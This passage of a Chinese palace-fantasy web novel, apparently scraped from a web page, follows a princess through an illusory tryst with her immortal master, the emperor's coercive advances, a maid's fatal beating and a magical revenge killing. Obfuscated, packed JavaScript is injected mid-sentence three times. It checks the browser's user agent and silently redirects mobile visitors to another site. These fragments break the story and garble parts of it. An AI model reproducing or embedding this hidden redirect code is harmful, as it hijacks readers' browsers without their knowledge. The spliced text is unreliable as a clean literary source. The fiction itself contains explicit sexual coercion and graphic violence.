冰凉的指尖轻轻擦过我眼角的泪,柳砚清低声道:“嗯。仙人不可妄动凡尘因果。察觉到玉笛异动,我便去蓬莱第几宫寻了北、你哥哥。请真君前来帮你恢复玉笛。” “哥哥?”我一愣,“所以那天他突然出现……” 柳砚清轻轻“嗯”了声,指腹摩挲过我的脸颊:“只要你唤我,碧落黄泉,我都会来。只是碍于仙凡,我不能……” 我鼻尖一酸,委屈又涌了上来:“那你干嘛不主动点……早点出现嘛……夜深人静出现陪陪我也好啊……” 他忽然低头,额头抵住我的。 “我把握不准自己出现的时间啊。你觉得我什么时候出现合适?” 我听懂了言外之意,慌乱地躲避柳砚清直勾勾的眼神。可清隽之人的眼睛那么近,连呼吸都纠缠在一起,哪里躲得开。 我自嘲地笑道:“我要是前朝的已婚妇女,估计早就被吊死在城头,遭人唾弃千百回了吧……” “嗯?” 我赶紧捂住嘴。 “我居然忘了自己就是……” “你该不会连星辰也忘了吧?娘亲?”他竟跟我打起趣来。 我鼓着腮帮子反驳道:“星辰怎会忘,那可是我身上掉下来的一块肉欸。不知道小祖宗在信州过得好不好……” “她不在信州。” “啊?!马车没能平安抵达吗!”我吓得眼睛都大了一倍。 “马车是到了,是在信州交给了……颜卿。” 我们相视良久,月光在沉默中流转。 良久,我了然一笑,问道:“那她现在去哪里了?” 柳砚清也笑道:“被接去了蓬莱第几宫,和外公在一起。更准确些,是舅舅。” “方大仙竟也过上了含饴弄孙的日子。” 我忍不住笑出声,歪头靠在他肩上。夜雾朦胧,却遮不住眼底的星光。 “要是有星星就好了。我、你,还有星辰。” “虽然没有星辰,不过,想去看看吗?” “嗯?” 南柯浮梦,此番确实春色融融。 春来殿消褪,满山无垠的春野,清风裹挟着淡淡的花香。我们坐在柔软的草地里,远处的山巅有隐隐白雪。 “这里是……” “洛城。”柳砚清轻声道。 我惊诧地望向柳砚清,“洛城?!这里不是幻境?” “是幻境。不过照搬了洛城郊外的春景……我还是第一次与你,放下一切,共赏山河美景。” 他的声音沉在春光里,带着似有若无的歉意。 我轻笑道:“我倒在医鹿山和师尊看过云海。只可惜,那时候的师尊,心里不知道揣着什么秘密,冷言冷语的,一点不可爱。” “又乱用词。” “可爱可以形容世上所有的事物!二胖是可爱的,仙鹤是可爱的,师尊也是可爱的。” 他轻笑一声,这时,一只橘色仙蝶从他袖中翩跹而出,轻盈地落在我膝头。随着“砰”的轻响—— “二胖?!” 毛茸茸的小家伙趴在我腿上,奶声奶气地“喵”了一声。 我瞪大眼睛,看看猫又看看他,舌头突然打了结:“啊?!这……猫……啊?!” 他眼中泛起笑意,“替星辰接生的稳婆,是我。” “啊?!你……稳婆……啊?!” “喵~” “喵?!猫?啊?等等……啊?” 我像个傻子,一直啊个不停。主要是太神奇……词穷到语无伦次。 忽然春风拂过,蜻蜓点水的吻卷走我语无伦次的惊呼。 “你偷亲我……” “不可以吗?” “那师尊想……做吗?” 我的指尖如蝶栖落,轻轻掠过他的下颌线,顺着颈间起伏的线条滑至锁骨,又在胸口稍作流连,最后停驻在小腹。 柳砚清喉结微动,忽然捉住我欲要继续向下的手。 “……想。” 他的声音低哑,像被砂纸磨过的丝绸,尾音还带着几分克制的颤抖。。 我笑着翻身跨坐,裙摆铺开膝头,指尖描摹他眉间隐忍克制出的褶皱。 “欢愉能忘却烦恼……师尊可有什么想忘记的烦恼?” “有。”他扣住我的手腕,在脉搏跳动处落下一吻,“忘了你有多不乖。” “我哪儿有——” “惹是生非,自食恶果。”他截断我的话,气息灼人。 我俯身时发丝垂落,隔出一方天地,将明媚春光隔绝在我与他四目相对的视野外。 “师尊罚我的桩桩件件,”唇瓣若即若离,“我可都记得分明。” “你折磨我的,也不少。” 我拉住他衣襟,将他拉得更近,直至唇瓣相贴,印下一个轻缓的吻。 “我可是只和砚清在一起时,全身上下都写满了心甘情愿。” 他仰首,先以舌尖轻轻拂平我眉间的愁,才试探着碰了碰我的唇角。交缠的气息里,他低语如叹:“我知道……我都听见了……” 温热的鼻息拂在我颊边,如春溪缓淌。动人的情话,如春风过境。 草色漫过衣襟,我松开他衣襟时,被他抱得更紧颠倒了天地。他低笑,将我耳边一朵小小的蒲公英别在鬓边,白绒散了几缕,随呼吸起落,迟迟不肯远去。 绵密的吻落在嘴唇四周,偏生不吻,骤然激起急不可耐的战栗,我扣紧他的后颈,越发深刻的与他交换呼吸。 发绳散落,青丝缠绕,将两人越裹越紧。 “缠住了……不会解不开吧?” 我撩起两人的青丝,凑近鼻尖深嗅露水的气息。 柳砚清稍稍顿住,包裹住我的手掌。 “那我将发丝割让与你,随你一世。” 船桨入海,双目忽地紧闭。浪潮缓慢颠簸,一叶小舟随波逐渐。 我抚开他被汗水打湿的额发,揉捏他的脸颊。 “就会说些害臊的话。” 他扬起唇角,我也弯起眉眼。 “不如我们就困在幻境里,永远不要醒来……” 沾衣欲湿,杏花春雨。 两个人躺在春野之上,草叶的露水浸透了铺在身下的仙人羽衣,湿漉漉地黏着背脊。 即便如此,也是乱世偷得一方自在。 自离开医鹿山后,这颗心许久没体会过这般宁静。 更深露重,朦胧间察觉幻境消散。柳砚清将我打横抱起,青丝垂落间已回到寝殿。 困意如潮,感受到身侧床榻微微下陷,我循着本能向他靠去,额头抵在他肩胛处,手臂自然环住他的腰身。 砚清身上的药草香混着些许夜露的凉意,格外令人安心。 “我住长江头,君住长江尾。日日思君不见君……” 细细想想,该改改。 “我住春来殿,君住云梢头。日日思君不见君,只君可见我。” 无情自私的仙人。 柳砚清陪我到了天明。 耳侧响起柳砚清均匀安定的呼吸声,我扭过头,出神地看着他的侧脸,忍不住弯起了嘴角。 叮嘱我照顾好自己,凡事三思而后行后,他又离开我了。 梅香残留在室内,我摩挲着掌心的玉笛。 他竟知晓一切……知道和我宁安桥、夏逸飞、拓跋枭发生了的一切?是这个意思吗……这人心里得有多强大,才能面无表情、淡定自若地看在眼里啊…… 柳砚清,好可怕一男。 阿丘步入走近道:“兰熏殿来人说,陈美人请公主去品茗赏雪。” “好。” 今年的雪来得比去年稍晚一些。院子里的最后一朵莲花也相继枯死,在池塘里形成一片荒凉寂寥。 路过时有产生一瞬要不要用玉笛恢复原貌的想法,想想还是算了。顺应自然,让它跟随世间寻常的莲花一起盛放衰败挺好的。 “阿丘今日不必同我去,来回去太医院折腾辛苦你了,好生休息吧。” 善用五官的阿丘表现出夸张般感激涕零,没藏住一个哈欠,眼角泛起泪花。 我笑着摇摇头,踏入纷飞的雪幕时,听见她在身后小声地欢呼了声。 “清漪公主!” 兰熏殿内,陈美人站在一棵开满艳红梅花的树下,撑着绸伞唤我。积雪压得梅枝低垂,恰好在她鬓边簪了一簇艳色。 我捧着手炉走进她的伞下,见她气色比往日红润许多。定是昨夜拓跋枭来此的功劳。 我假装一如所知打趣道:“陈美人今日气色不错,可有什么好事发生?” “昨夜陛下,嘻嘻,昨夜陛下在兰熏殿过的夜。” 陈美人激动得晃动手中的绸伞,眉眼弯弯如皎月,绸面顿时抖落簌簌雪粒。 “是吗!太好了!恭喜美人。” “虽然只单纯过了夜,今儿一早天不亮便离开,也算圆了我日思夜想的梦,日子总算有点盼头了。不知陛下今晚会不会来。” 美人如月,望着红梅白雪露出少女痴情的笑。我立于她身侧,痴痴地望着她。 “公主怎么看着我傻笑?” “啊?我、我没有。” 我将手背抵在自己泛红的脸颊和鼻尖上,陈美人姣好地面容上写满明了。 “公主!公主!” 急促的脚步声踏碎了雪地的寂静,匆匆跑进兰熏殿的人,大喘着气跑向我。 “阿丘?怎么了?” 阿丘双手撑在膝盖上,上气不接下气道:“皇、皇后娘娘去了……去了春来殿,命人里里外外搜了个遍……哈……哈……” 我顺了顺阿丘的背,待她缓过来再问。 “搜?搜什么?” 我可不记得春来殿有什么值钱或者偷藏起来的东西。 要说有也不是没有……在后院的土堆下。 阿丘摇了摇头说:“不知道。最后什么也没发现便离开了。” “娘娘没说什么?比如,叫我去找她?” “没有,娘娘什么也没说。” “我知道了。哦对,娘娘看到前院的枯莲没?” “看到了,两次。阿丘眼睛一眨不眨盯着皇后,清楚她特地望了两次。” 我忍不住弯起唇角:“很好。” 一旁静立听完全部我俩对话的陈美人懵然问道:“枯枝败荷,寓意不佳,公主为何说很好?” “娘娘定是寻不着近日陛下不去琼琚殿的缘由,着人四处查探圣驾踪迹。若瞧见春来殿一池残荷,怕是要嗤笑:陛下怎会在如此冷宫败院过夜。” 我偷着乐呵,陈美人狐疑地问:“公主住在春来秋雨殿?” “嗯。” 我不过回答了肯定,陈美人却陷入沉思,许久,我们都没有再说话。 自患 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056793|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上惊悸后,陈美人常有突然失神的时候,以及行为怪异,一会儿记得起一会儿记不起。 例如她说曾见过我,在凉州,我名为赵风,却又见到现在的我后认我是清漪公主,从未把二者结合起来。 后宫如今仅有陈美人和皇后见过赵风,莫非皇后发现了端倪,所以去了春来殿? 不该是这样。月华池宴上她的表情,可不像是认出旧人。 唯一认出我的,只有夏逸飞和拓跋枭。 陈美人伸手转动手中绸伞,问道:“何不搬来丹枫殿,与我做个邻居?” 我折下一支红梅,赠予美人。 “前院人心复杂,还是幽宫适合我。” 又落雪了。 细雪又簌簌落下,将回春来殿的小径覆得松软,难以下脚,脚步迟缓。好在临别前陈美人叫人替我准备了手炉,不觉寒冷。 天色暗得早,玉笛的青光成了照亮归途的唯一光源。 “夏逸飞?” 推开院门时,积雪从檐角簌簌坠落。 那个站在枯荷池边的身影蓦然回首,肩头落满碎雪,像披着一身寒星,冷言道:“你去哪儿了?我等你好久。” “兰熏殿,陈美人邀我赏雪……你是不是瘦了?” 许久不见的人明显消瘦许多,眉梢微微挑起,强扯出一抹不适合这张脸的笑。 “想见你瘦的。” “是吗。” 玩笑话卸下他的伪装,夏逸飞突然栽进我怀里拥住我,恍若一只软趴趴的小兽扑在我身上。 淋了多久的雪,身子才会那么湿冷?我撑住半靠着我的夏逸飞,握住他冰冷的双手。他有些恍惚,似乎快要睡着的样子。 我解开脖颈上披风的系带,裹住夏逸飞保暖。 “注意休息,保重身子啊。等来年花开,你才有力气带我上屋檐赏花。” 耳畔的呼吸中发出一声轻笑,他紧了紧环住我的手臂,鼻息拂过我耳畔说了句“好。” 祥和的气氛刚持续不久,远处传来马车车辙滚动和宫人匆忙的脚步声。 夏逸飞脱口而出:“是陛下的车马。” “这你都能听出来。” 同我惊异截然相反,夏逸飞从容淡定地闪到门缝边窥视,果真是拓跋枭的马车。 “陛下怎么会来此?他认出你了?” “你是指……赵风吗?” 夏逸飞沉默片刻,“你知道了。” “陈美人跟我提过。不对!现在不是说这个时候,你还不快走!” 此时我无暇顾及关于赵风曾经在此发生过的一切,保全夏逸飞不被发现才是首任。 “不,我留下,万一你有危险——” “什么危险啊!他不是第一次来了。你!你快走吧。” 墙外头的火光逐步靠近,车辙碾过青石板的声音逐渐清晰可闻。夏逸飞却还楞在原地,难以置信地注视我。 “你们——” “你快走吧。” 否则待会儿听到不堪入耳的声音…… 夏逸飞望了眼紧闭的大门,门外马车铜铃的脆响已至门前。他仍死死盯着我,眼中翻涌着我读不懂的情绪。 在门闩被叩响的刹那,他突然将我拉近身前亲了口下颌处。 “我不走。” 说完,不容我再三劝阻,他纵身一跃,玄色衣袂在夜色中划出一道凌厉的弧线,消失在我眼前。 殿门恰在此时被推开,拓跋枭遣走随从,独自步入春来殿。 在我愣神的须臾,拓跋枭温热的胸膛已经贴近我的后背,手掌带着不容抗拒的力道覆上我的小腹。 “陛下怎么又来了?”我盯着地面上交叠的影子不耐烦问道。 “今夜翻了春来殿的牌子,不可吗?要朕走?” “殿下人都到了,臣妾还敢撵您不成?” 拓跋枭轻哼一声。 “今日朕就喜欢听你说难听的话。” 他扭头看向池塘里的莲,蹙眉嫌弃道:“不是让人挖了?” 上一次拓跋枭光临春来殿,临走前特地命人必须处理了这池莲花,但又被我强行撵走了挖塘的宫人。 “来年还会花开,为何要挖。” 我故意仰起脸,在佯装出的天真目光下,拓跋枭的心情看上去不错,说声“罢了。”后,拉拽着我往内室走去。 夏逸飞躲在哪里?他应该已经离开了吧……他最好是离开了,别听到这些不堪入耳的声音…… 拓跋枭猩红的舌尖缓缓碾过脚后跟的细嫩肌肤,顺着小腿曲线蜿蜒而上,湿热的吐息灼得我浑身战栗。当森白獠牙抵住脚背时,我猛地蜷紧脚趾,咬紧牙闭紧眼。 “真他*恶——” 污言秽语及时制止,我不甘示弱的劲儿涌出,拽起拓跋枭的头发,指节深陷他凌乱的发间,强迫拉近他的脸贴上的我脖颈,好字字清晰说进他耳朵里。 “陛下不许再到春来殿……” 灼热的鼻息喷在我颈侧,拓跋枭眼里露出狡黠。 “为何?因为皇后?还是将军?哪一个?” “……不是。春来殿简陋,隔壁又有冤魂游荡……” “朕明日替你更换寝宫。” “不行!” 对上他的目光,懦弱的我胆怯了一瞬,但立马鼓足底气。 “这不行,那也不行,你到底想要什么?” “我……臣妾可以去兴宁殿。你不、陛下不必往这儿跑。” 清冷的目光似是看透一切,了然狞笑道:“你背着朕在春来殿偷人?” 他指尖捏住我的下巴,力道不轻不重,却足以让我无法移开视线。我垂眸避开他的逼视,唇角勾起一抹浅淡的弧度。 “陛下多虑了。深宫没有男人,春来殿也就臣妾和侍女两人,找不出第三个人。” 他闻言低笑一声,拇指漫不经心地摩挲过我的唇瓣。 末了,才懒懒松开钳制,拍了拍我的脸说道:“朕依你。但你必须随叫随到,不许找任何借口。” “……臣妾遵旨。” 拓跋枭的指腹缓缓抚过我的颈侧和另一处柔软,激起一阵细微的战栗。他俯身靠近,炽热呼吸与舌尖湿意纠缠着我的双耳。 “我知道夏逸飞在,你不必为保他欺骗我。我说了,只要你听话,别再从我眼前消失,我什么都依你。” 我抬眸望进他眼底,那里面翻涌着压抑的占有欲,还有一丝几不可察的脆弱。 空气仿佛凝固在这一刻,只剩下彼此交错的呼吸声,沉重而清晰。 “陛下明知无论如何都得不到我,何必呢?” “何必?” 他冷笑着翻起身,在床榻边站起身,环顾沉寂的寝殿。 “东凉枭雄,从来没有被人抢了囊中之物的说法。得不到你……不管是夏逸飞,还是赵国的三将军,都是死。” 81. 春和景明 “清漪公主呢?” 第二次不请自来的雍容华贵之人端坐在春来殿清漪公主的房内,脚边跪着瑟瑟发抖,丝毫不敢懈怠的下等人。 “公主被陛下唤去兴宁殿了……” 阿丘话音未落,一记耳光已将她掀翻在地。 “胆敢撒谎骗我陛下从未来此!” “奴婢没有骗娘娘……真的没有……” 怒气更盛的李皇后将手中的茶盏狠狠摔向地面,溅起的碎片划破阿丘的脸。 “来人,左右一百伦掌。” 阿丘的瞳孔骤然紧缩。随着一声痛呼,第一个响亮的巴掌落在阿丘脸上。 “等一下。” 李皇后命人停下,揪着阿丘的发髻如拔草一般生拉硬扯,发丝断裂的细微声响混着少女的抽气声。 “只你一人服侍公主,想必公主对你也是爱戴有加。你若是死了——公主会有何感想?柏夫人、你,下一个,该轮到陈美人了。我自来讨厌赵国的人,尤其是公主。一个赵风死了不够,又来一个赵清漪,诚心跟我过不去啊……一天除不掉这两人,我的皇后之位一天不得安稳!” 又挨了结实的一巴掌,阿丘的鼻子流出鲜血。李皇后身边的侍女见多不怪,看着不断流落的血呆若木鸡。 “娘娘!皇后娘娘饶命啊!娘娘!” 阿丘抓住李皇后的裙摆苦苦哀求,双膝跪在冷硬的地板上挪动。李皇后一掌打在她脸上,差点将人打晕过去。阿丘蜷缩伏在地上,不敢捂脸。 “说实话,陛下来过此处吗?” “来过……来过几次。但更多是叫公主去兴宁殿……” “何时开始的?” “月华池夜宴之后……怕引人注目,公主都是走着去的……” 李皇后摆出全然不信的样子。下一刻,阿丘挣扎支起上身,死死抱住李皇后的脚,额头一下一下重重磕在地上。 “娘娘!奴婢说的是实话!” “正是你说了实话,我替公主收拾奴才罢了。况且你是柏夫人的陪嫁丫鬟,柏夫人都走了那么久,你也该随她去了。” 李皇后挥手示意,身后的两位宫人架起仍在苦苦哀求的阿丘,拖出春来殿。少女的指甲在门框上刮出长长的血痕,李皇后慢条斯理地整理华服。 “就丢在前院,让清漪公主进门一眼就能看见她的好侍女。” 殷红的雪花铺满春风从未降临的前院。阿丘如一片轻盈的雪花,静静落在青石板上。 “公主!明年春天,这棵梨花树真的会开吗?” “放心吧,它自己不开,我就变出满院子的梨花给你看。” “公主竟然会法术?!” “不会可以学嘛,学无止境。” 从前的自己那么渺小,像府中被人用脚踢来踢去的蹴鞠,没有停靠的角落。小姐封为夫人,带走家中年龄较小的丫鬟做陪嫁,最不起眼的阿丘随嫁进宫。笨手笨脚,不受待见。春来秋雨殿被隔开前,阿丘受柏夫人之命打扫收拾春来院,却在夜里因沾染阴气不许进屋。寒冬腊月,形单影只。两院相隔后,阿丘被丢弃于春来殿,不敢去碰已死之人留下的狼藉,守着幽宫度日。 “之前就想提醒你用杆子挂灯笼的。不过,更想看看你什么时候发现,杆子就在你身后。” “对不起公主!阿丘……阿丘愚笨,还请公主不要责罚……不,请公主责罚。” “说什么呢。我为何要责罚你,又不是犯了什么大错。” “可是从前大人说……犯错都要受到惩罚……” “什么惩罚?” “在屋外守夜……” “姑娘家家身子那么弱,守什么夜,真是没人性。” 公主是个特别的存在。从未见过如此不像公主的公主。 公主说她喜欢白梅和竹林,但春来殿狭小,没法种出大片的梅林和竹林。所以她脱下鞋袜,亲自走进池塘,种下一池紫莲。公主不会写字,不会绘画,还喜欢念诗给阿丘听。翻来覆去都是同样的诗,但阿丘很喜欢。 “蓬莱院闭天台女,画堂昼寝无人语。” “蓬莱在哪儿?公主知道吗?” “嗯——知道。在梦里。那里有一大片!比东凉皇宫还要大的竹林!凉亭旁也有池塘,蓝紫色的莲花终年盛开,永不衰败。蓬莱靠着海,海边生长着一种淡紫色的花,名叫忘忧罗,闻到此花的香气便会头晕眼花、昏昏欲睡。坐在海边的礁石上可以观测人间的日夜变化。每当人间升起天灯,向神灵许愿时,坐在蓬莱的海边,能听清人们的祈愿,知晓人们的悲喜……” “公主就像真的去过蓬莱似的。” “是吗?那看来我说书的能力变强了,都能骗到你了。” 阿丘永远记得公主说起蓬莱时的表情,那是一种对远方的思念。 “公主,这些草药真的能治好陈美人的病吗?” “不知道。来,你先喝。” “我?可阿丘没有得惊悸之症啊……” “这是补身子的。混淆视听的药材,我写的滋补气血的。你看你脸色虚弱成什么样,小时候没好好吃饭吧。” “……谢谢公主!” 那条和清漪公主连接在一起的线松垂在脚边。被舍弃之人以为终于找到了归宿,找到了温暖的襁褓,不必再在寒冬深夜蜷缩在雪天盼不来天明。 “那阿丘喜欢这里吗?” “以前不喜欢,觉得太过冷清,夜深人静总觉得害怕。但遇到公主后,阿丘开始对这里产生了感情。” 因为公主拯救了我。 “阿丘会好生服侍公主的!所以……让阿丘永远留在公主身边吧。” 阿丘……不想再经历那些难捱漫长的冬夜了…… 【又见东风】 数尽更筹,听残银漏。 我跪坐在阿丘的遗体边,沉寂了许久。冬夜的月光为她镀上一层银霜,睫毛上凝着细碎的冰晶,像是睡着了般安静。我轻轻摇晃她,试图唤醒她,她却只是双目凝视黑夜,不予理睬。我抬手理了理阿丘凌乱的发丝,脱下披风,盖上她的遗体。 可怜的姑娘脸上的红印还未消退,被人生生扯下的发丝被随意丢弃在她脸上。衣襟前的鲜血晕染成一朵艳丽的花。我怕弄疼她,克制到手指发抖,轻轻阖上她的双眼。 “玉笛。” 我的声音飘散在寒风里。 “谁干的?” 青光如水纹般漾开,映出李皇后那张敷着厚粉的脸。她正对镜描眉,金凤簪在烛火下闪闪发亮。今夜拓跋枭说去琼琚殿,与皇后商议某事。 “杀了她。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黑无常全程默默跟在我身后,见梨花无花,抬手变化出盛开最盛的梨花——刹那间千朵梨花开遍枝头,暗香浮动中,我仿佛看见阿丘唇角微扬。 我抚过阿丘冰凉的眼睑,想象着她平日的样子,回想与她经历的点滴。那些打趣闲话的日子,斥她不懂怜惜自己身子的日子,与她讲述梦境中蓬莱第几宫的日子。阿丘从未与我提起自己的过去,只在面前展现出最纯真的快乐。 “是去旷野吗?告诉我吧,去往西洲孤岛的路。” 黑无常手中的引魂灯忽明忽暗:“仙子要救她吗?” “是。” 夜雪忽然停了,云隙间漏下一缕月光。黑无常凝视我许久,忽然叹道:“你还是变了。” “我知道。” “变回了从前的南风仙子。” 我抬头望着窗棂外隐匿于乌云后露出半点明亮的月。 “不。我就是我,和从前的我没有关系。过去的南风早已死在旷野,现在的南风,是现在的我。” 白无常出现,带走了阿丘的灵魂,春来秋雨殿只剩下我一个,和黑无常一个鬼。他一直陪我坐在前院的石阶上,直到天明。 琼琚殿暴毙的遗体被人发现,面目全非的李皇后以极其惨烈的死状,躺在榻上。昨夜拓跋枭并未去琼琚殿,而是在御书房与夏逸飞商议了一夜关于派军前往西南寻找神石一事。 东凉西南,人神两界交接之处,霜洲地界。 李皇后猝死,东凉皇帝拓跋枭为其举办了最高规格的葬礼,素幡蔽日,哀乐震天。然而就在缟素满城的葬礼之上,他当众宣读了一道令满朝哗然的圣旨——册封新任皇后。 赵国公主,赵清漪。 82. 恨眉醉眼 前夜。 我守在阿丘身边整整三日,偶尔饮茶,大多时间坐在地上靠着床榻,一言不发。 夏逸飞接到皇帝指令,前往霜洲地界寻找千年神石。没给他整顿的时间,即刻出发,因此他没来得及看望我一眼,便匆忙带着五十人的队伍出发霜洲地界。 玉笛的神力下,阿丘的身体保存得很好。我舍不得埋葬她,一日不见她,我浑身不自在。 墙角,黑无常抱臂侧了侧身,盯着毫无休止落下的大雪。夜色微光中,他忽然说了句:“西边有霞光预兆。有大事发生。” 我微微偏头看了眼,浓墨般的夜空沉沉压下,什么也看不见。 “你说什么?” “预兆,天象预兆。明日东凉,有大事发生。与你有关。” 他目光落向我,我冷呵一声,捻起阿丘身上孤零零的一片花瓣,是刚从花枝上掉下来的。 “是说我即将屠杀东凉皇宫吗?” “……你会吗?” 手中的梨花太过娇嫩,指尖不过轻轻一扣,便留下深褐色的伤痕。我无力笑道:“我做不到。杀人偿命,不择手段报复仇恨……我没那本事。” “是吗。” 黑无常的尾音微微下沉,带着某种洞悉一切的笃定。 “柏昭阳死,你前脚刚说杀人是不对的,后脚便让玉笛绞杀了那群道士和白衣人。阿丘死,李皇后当夜赔命。若再死一人,仙子当真不会屠杀整个皇宫吗?” “我说了,我没那本事。我没有夺取无辜之人性命的癖好,我只要该死的人死。” 他端起桌上的饭菜,在我面前蹲下身,将瓷碗里凉透的食物重新加热后递给我。 “你终于肯说实话了。要休息一会儿吗?你已经三天没合眼了。” “我一直说的实话。” 他眼里闪过淡淡的笑意,起身一手端着碗,一手拿起勺子,均匀地舀起米饭和菜送到我嘴边。 “倘若下一个是陈美人,抑或是夏逸飞,你会怎么做?仙子清楚这两人的处境,三宫六院要他们死的人不计其数。倘若他们死了——” “别问我。”我打断他的话,“不许在我面前说死字。” 黑无常挑眉示意我张嘴吃饭。我看了他一眼,肚子恰合时宜地发出一声咕噜。 我扶着桌沿缓缓坐回圈椅,双腿因久跪而血脉不通,刚一起身便如千万根银针扎刺,膝盖一软险些栽倒。黑无常手中的青瓷碗纹丝未动,另一只手已稳稳托住我的手肘。 孤馆青灯,他舀起一勺饭菜,不疾不徐地递到我唇边。他喂食的姿势太过熟稔,我竟没生出一丝怀疑。 “我知道你的答案。哪怕如今的南风仙子与从前的你稍有不同。但你,就是你。轮回万转,刻在骨子里的,是不会变的。” 我沉下眸子,他递到嘴边时见我在发呆,温热的瓷勺碰了碰我的嘴唇。 “专心吃饭。我可不想今夜多添个饿死鬼。” 我呆滞地嚼着嘴里的最后一口饭菜,终于还是没忍住,将憋了三日的问题抛了出来:“你什么时候走?” 他执勺的手顿了顿,“去哪儿?” “阴差不去捉鬼,在这儿待着作甚?” “就是要捉鬼才在此处啊。” 皇后出殡之日,殿前广场。 汉白玉阶上积雪未消,我再次站在这里,却比上次更加荒唐。 寒风卷着纸钱与碎雪在空中翻飞,李皇后的素棺正被三十六名杠夫抬着,缓缓碾过朱红宫门。 文武百官缟素之外竟都套着锦绣官服,仿佛这场葬礼不过是新戏的序幕。 哀乐吹得凄凄惨惨,风声呜咽,卷起满地纸钱残灰,仿佛无数未亡人的叹息。 送葬的队伍不过前脚刚离开,我就被人拽着走向广场的人们。 拓跋枭的手指像铁箍般扣住我的手腕,满朝文武的恭贺声在耳畔嗡嗡作响,化作一片令人窒息的喧嚣。 我死死咬住后槽牙,想挣脱逃走,却在抬眼时撞见前排那抹熟悉的身影。 他站在离御阶最近的地方,如淬了冰的刀锋般冷冽的眼睛正一寸寸剐过拓跋枭扣着我的手背。 远处送葬队伍的白色旌旗还未消失在转角,礼官已捧着凤印跪在了丹墀之下。 “你放开我!我不会要当什么皇后!” 拓跋枭没听见我的话,骄傲地向全天下展示他的“战利品”。 “这才是你该站的位置。离朕最近,永远无法离开朕的位置。” “你放开我——” 我挣扎着扬手时被他轻易截住,反而被拽着撞进他怀里,当着文武百官的面咬住我耳垂,啃咬我的脸颊。 “你!你做什么!一国之君,岂能——” 温热的津唾顺着耳廓滑向脖颈,数百双眼睛所望之处,他竟毫无廉耻之心,禁锢我的双手置于我身后,欺身压下,将身前的衣襟拨开,印下他昭示天下的玺文。 粗糙的指腹划过暴露于寒风中的背脊,拉开风雨前的帷幕。 黑无常站在离御阶最近的地方,那双看惯生死的眼眸此刻目不转睛地只倒映着我一人。 几步之遥的陈美人脸上神情是惊诧、是心碎、是失望。雪落在她颤抖的睫毛上,竟像是泪。 “此去霜洲地界,若夏逸飞当真能取回神石,朕便将你的魂魄永远锁在这九重宫阙。春来秋雨殿也好,兴宁殿也罢,今生今世,你休想再踏出宫门半步。若夏逸飞一去不复返……岂非更是天遂人愿?” 混合粗重的喘息,拓跋枭道出了夏逸飞去往霜洲的真相。双臂无力地垂落,身子一轻,被他顺势揽住腰肢按进胸膛。 得逞的人打横抱起我走回兴宁殿。 送葬的白色旌旗在远处化作模糊的虚线,百官跪伏的雪地里,几道窥探的目光如附骨之疽,粘在我们交叠的衣袂上久久不散。 “恭贺清漪公主。” 春来殿的稀客。我正坐在阿丘榻前,用浸了药香的丝帕轻拭她苍白的脸颊。 殿门吱呀轻响,抬眼望去,只见陈美人立在门槛外,素手扶着雕花门框,迟迟不敢踏入这满是奇怪味道的寝殿。 我替阿丘摆好梨花,起身出室,轻轻合上门扉,将满室病气关在身后。 陈美人愁眉不展,见我递出的金帛时,眸中闪过一丝惶惑。她下意识后退半步,指尖绞着绣帕,不敢去接那卷明黄。 “公主这是何意?” 她避开我的视线,不看我递上的圣旨。 “你想做皇后吗?” 陈美人猛地抬头,惊愕的面容装进我的眸子。指尖颤抖,攥紧的白玉兰纹绣帕差点掉落。 “……我不懂公主何意。” 我冷着脸一字一句道:“我帮你。” 陈美人笑着离开几步之外。 “公主又在说笑了。皇后之位与帝王临幸,岂能相提并论。” 我上前抓住她的手臂,强迫她注视我。 “我能帮你治好惊悸,让陛下重回兰熏殿,当年悄无声息地离开东凉皇宫,如今又活着回来……就有办法让你坐上皇后之位。” 我看见她嘴唇几度轻起,半晌后弱下怒气道:“我不需要。” 她别过脸去,却掩不住颈侧跳动的血脉和微微发抖的肩膀。窗外飘进的雪花沾在她鬓边,像滴将落未落的泪。 我看着手中的金帛,随手丢进破败的池塘:“我也不需要。这皇后谁爱当谁当。” 陈美人突然拽住我丢弃圣旨的指尖,估计是想制止我,没赶得上。我回头见她咬着唇,方才的怒气早化作眼中水光。 “陛下立后之事,公主在葬礼前一无所知吗?陛下只字未提?” 隔着门板,我望向殿内阿丘的身影,说:“皇帝命人下毒害死柏夫人。皇后杀了阿丘,撂下话说下一个便是你……你看我,像是贪恋权柄、嗜血好杀之人么?” 陈美人倏然红了眼眶,猛地将我拥入怀中,心疼地抚摸。 “李皇后想杀我不是一天两天之事。不止是她,从前全赖陛下回护,她才未能得手。但是现在……公主要活下去,带着所有人夙愿,活下去!” 李皇后虽死,但后宫觊觎陈美人的不计其数。我收紧双臂,感受着她单薄身躯的颤抖。 “我保护你。我带你离开。” 陈美人不解,茫然抬首问道:“离开?去哪儿?” “去哪儿都行!离开皇宫,离开东凉。” 良久,怀中传来一声几不可闻的轻笑。 “多谢公主的好意,但我不会离开。” 我蹙眉反问:“也是为了家族仕途吗?” 陈美人点头道:“陈氏曾经是凉州最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一个巴掌呼在西雨脑袋上,怀中的外甥女也被一把夺走。 “嗓子哭哑了怎么办!星辰乖~是不是饿啦?要喝奶奶,还是吃饭饭呀?” “星辰可以吃饭吗?” “你闭嘴。” 